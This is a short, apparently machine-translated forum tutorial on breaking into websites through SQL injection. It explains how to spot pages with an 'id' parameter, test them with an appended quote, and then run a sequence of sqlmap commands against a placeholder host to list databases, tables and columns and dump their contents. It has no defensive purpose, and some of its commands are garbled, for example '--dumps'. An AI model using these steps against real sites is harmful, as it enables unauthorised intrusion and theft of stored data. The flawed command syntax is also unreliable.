Hacking website vulnerable

Well guys I am using a translator, because not speak much English, I am here today to teach you guys how to hack a website vulnerable

But as we see if a website is vulnerable?
Well first the website must have a tag like so

www. nothere . com / news.php?id=11 (
Link imaginary, invented here in hours) Remove all the spaces and minuscule

Well if the site has a tag of this type add a 'at the end of the link and it appears some SQL errors the site is vulnerable

But how do we hack?

Well we use a system used by hackers, which is the backtrack 5

* I recommend installing in a virtual machine, because the system is based on linux, and do not know if you guys like linux

After starting the search for 5 backtrack exploit "SqlMap" (without quotes)
And wait to load the exploit

And write this code

./sqlmap.py -u nothere.com/news.php?id=11 --dbs

Wait for the result
Then write this code

./sqlmap.py -u nothere.com/news.php?id=11 --dbs -D database name --tables

after

./sqlmap.py -u nothere.com/news.php?id=11 --dbs -T tablesname --columns

after

./sqlmap.py -u nothere.com/news.php?id=11 --dbs -T tablesname --columns -C columnsname --dumps


TAGS

- dbs = database
- tables = table
- columns = column
- dump = download
